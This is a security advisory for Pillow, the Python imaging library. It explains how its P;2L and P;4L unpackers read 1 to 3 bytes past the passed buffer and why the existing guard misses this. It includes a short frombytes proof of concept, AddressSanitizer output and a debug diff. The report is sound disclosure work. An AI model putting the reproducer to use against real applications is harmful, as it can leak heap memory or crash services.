Pillow: P;2L and P;4L decoders may read 1 to 3 bytes past the passed buffer size

Summary

On main, even with the guard in #9725, it's possible to have these decoders read 1 to 3 bytes past the end of the passed buffer with a suitable width/height.

Details

ImagingRawDecode and the P;2L / P;4L unpackers disagree about how many bytes a line of data occupies.

The raw decoder derives the line size from the bits per pixel

state->bytes = (state->xsize * state->bits + 7) / 8;

and uses it both for the bounds check and to advance to the next line. For P;2L and P;4L, bits is 2 and 4 respectively.

But these two rawmodes are not packed pixels but 2 or 4 bit planes, each padded to a whole number of bytes. unpackP2L computes s = (pixels + 7) / 8 and reads plane k at offset k * s, and unpackP4L does the same across four planes. Their real footprint is therefore planes * ((xsize + 7) / 8).

For some widths, padding each plane separately makes this footprint larger than state->bytes. For example, at width 1, the decoder accounts for one byte, while the unpackers read two or four bytes. The decoder accepts data that is too short for the last line and on the other hand advances to subsequent lines by less than a line, so every line after the first is also read from the wrong offset.

#9725's check is misshapen for this:

• It can reject data of the right length: 8x1 P;2L image is 2 bytes but is not accepted.
• It still accepts buffers shorter than the unpackers require for a given image shape.
• It measures the length with len(data), which is an element count rather than a byte count; e.g. memoryview(array("I", [0,0,0,0,0])) (20 bytes) is rejected while mv.tobytes() is accepted.

PoC ( ghsa_p2l_p4l.py)

from array import array
from PIL import Image

# 1 byte past
Image.frombytes("P", (1, 4), array("B", [0] * 4), "raw", "P;2L")

# 3 bytes past
Image.frombytes("P", (1, 8), array("B", [0] * 8), "raw", "P;4L")

is the almost-simplest reproducer.

(array is needed to get ASan to reliably scream, but the overread is observable with e.g. bytes literals. Python allocates byteses with an extra trailing null byte, from an arena by default to boot, so ASan doesn't see the overread.)

On my Mac, I can get ASan to scream about this with

export asan=$(clang -print-file-name=libclang_rt.asan_osx_dynamic.dylib)
env CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" LDFLAGS="-fsanitize=address" uv pip install -e .
env DYLD_INSERT_LIBRARIES=$asan PYTHONMALLOC=malloc ASAN_OPTIONS=detect_leaks=0 python3 ghsa_p2l_p4l.py

like so:

<details>

python3(29144,0x202fea2c0) malloc: nano zone abandoned due to inability to reserve vm space.
unpackP2L: in=0x602000037370 i=0 j=0 pixels=1 reads 0x602000037370 0x602000037371
unpackP2L: in=0x602000037371 i=0 j=0 pixels=1 reads 0x602000037371 0x602000037372
unpackP2L: in=0x602000037372 i=0 j=0 pixels=1 reads 0x602000037372 0x602000037373
unpackP2L: in=0x602000037373 i=0 j=0 pixels=1 reads 0x602000037373 0x602000037374
=================================================================
==29144==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000037374 at pc 0x00010778c684 bp 0x00016d029f40 sp 0x00016d029f38
READ of size 1 at 0x602000037374 thread T0
    #0 0x00010778c680 in unpackP2L+0x17c (_imaging.cpython-314-darwin.so:arm64+0xb4680)
    #1 0x000107765360 in ImagingRawDecode+0x348 (_imaging.cpython-314-darwin.so:arm64+0x8d360)
    #2 0x0001076f259c in _decode+0x15c (_imaging.cpython-314-darwin.so:arm64+0x1a59c)
    #3 0x0001030d921c in method_vectorcall_VARARGS.llvm.8905850704545875072+0x84 (python3.14:arm64+0x10030521c)
    #4 0x000102e585b8 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x13c (python3.14:arm64+0x1000845b8)
    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #16 0x000194c86b94  (<unknown module>)

0x602000037374 is located 0 bytes after 4-byte region [0x602000037370,0x602000037374)
allocated by thread T0 here:
    #0 0x0001044a130c in malloc+0x78 (libclang_rt.asan_osx_dynamic.dylib:arm64e+0x3d30c)
    #1 0x000102f22324 in newarrayobject+0x6c (python3.14:arm64+0x10014e324)
    #2 0x000102f21b4c in array_new+0x320 (python3.14:arm64+0x10014db4c)
    #3 0x0001030fc390 in type_call+0x5c (python3.14:arm64+0x100328390)
    #4 0x000102e58ae4 in _TAIL_CALL_CALL.llvm.12785051352303791014+0x668 (python3.14:arm64+0x100084ae4)
    #5 0x000102f1c17c in _PyEval_Vector+0x308 (python3.14:arm64+0x10014817c)
    #6 0x000102f31864 in PyEval_EvalCode+0x9c (python3.14:arm64+0x10015d864)
    #7 0x000102f3fa14 in run_mod.llvm.1224844961852478530+0x120 (python3.14:arm64+0x10016ba14)
    #8 0x000103063eb0 in pyrun_file+0xa0 (python3.14:arm64+0x10028feb0)
    #9 0x000102dfe834 in _PyRun_SimpleFileObject+0xfc (python3.14:arm64+0x10002a834)
    #10 0x00010306cb60 in _PyRun_AnyFileObject+0x4c (python3.14:arm64+0x100298b60)
    #11 0x00010306ca54 in pymain_run_file_obj+0xa0 (python3.14:arm64+0x100298a54)
    #12 0x000102ffb80c in pymain_run_file+0x44 (python3.14:arm64+0x10022780c)
    #13 0x000102ff7d0c in Py_RunMain+0x46c (python3.14:arm64+0x100223d0c)
    #14 0x000102fb0820 in pymain_main.llvm.7308572997346072671+0x1cc (python3.14:arm64+0x1001dc820)
    #15 0x000102fb0644 in main+0x20 (python3.14:arm64+0x1001dc644)
    #16 0x000194c86b94  (<unknown module>)

SUMMARY: AddressSanitizer: heap-buffer-overflow (_imaging.cpython-314-darwin.so:arm64+0xb4680) in unpackP2L+0x17c
Shadow bytes around the buggy address:
  0x602000037080: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037100: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037180: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037200: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x602000037280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x602000037300: fa fa 00 fa fa fa 00 00 fa fa fd fa fa fa[04]fa
  0x602000037380: fa fa 04 fa fa fa fd fd fa fa fd fd fa fa fd fd
  0x602000037400: fa fa fd fd fa fa fd fd fa fa fd fa fa fa 00 fa
  0x602000037480: fa fa 01 fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x602000037580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb

</details>

(To get it to scream differently about unpackP4L, comment out the P;2L case.)

The above output is with unpackP2L and unpackP4L off 5eee92031a1986dfdaac7c78cdf0b764c0697118 lazily instrumented to print out what it's reading:

<details>

diff --git a/src/libImaging/Unpack.c b/src/libImaging/Unpack.c
index a51568209..4f867737a 100644
--- a/src/libImaging/Unpack.c
+++ b/src/libImaging/Unpack.c
@@ -548,6 +548,8 @@ unpackP4(UINT8 *out, const UINT8 *in, int pixels) {
     }
 }
 
+#include <stdio.h>
+
 static void
 unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     int i, j, m, s;
@@ -555,6 +557,8 @@ unpackP2L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP2L: in=%p i=%d j=%d pixels=%d reads %p %p\n",
+            in, i, j, pixels, in + j, in + j + s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0);
         if ((m >>= 1) == 0) {
             m = 128;
@@ -570,6 +574,8 @@ unpackP4L(UINT8 *out, const UINT8 *in, int pixels) {
     m = 128;
     s = (pixels + 7) / 8;
     for (i = j = 0; i < pixels; i++) {
+        fprintf(stderr, "unpackP4L: in=%p i=%d j=%d pixels=%d reads %p %p %p %p\n",
+            in, i, j, pixels, in + j, in + j + s, in + j + 2 * s, in + j + 3 * s);
         out[i] = ((in[j] & m) ? 1 : 0) + ((in[j + s] & m) ? 2 : 0) +
                  ((in[j + 2 * s] & m) ? 4 : 0) + ((in[j + 3 * s] & m) ? 8 : 0);
         if ((m >>= 1) == 0) {

</details>

Impact

Only a very specific use case is affected: Image.frombytes() or Image.frombuffer() calls of the shape above. The PCX decoder, which is the only Pillow-internal user of the P;2L and P;4L unpackers, already re-packs PCX rows into a format where overreads aren't an issue.

The impact is that up to 1 byte (P;2L) or 3 bytes (P;4L) of heap memory following the caller's buffer are read and mixed into the pixel values of the last decoded row(s), one bit per affected plane per pixel. A crash is also possible if the read reaches unmapped memory.

As far as I can tell, all published Pillow versions are affected.

Notes

These findings were momentarily public (though in no detail) in https://github.com/python-pillow/Pillow/pull/9723#issuecomment-5566006996; Andrew asked to retract the comment and post this instead.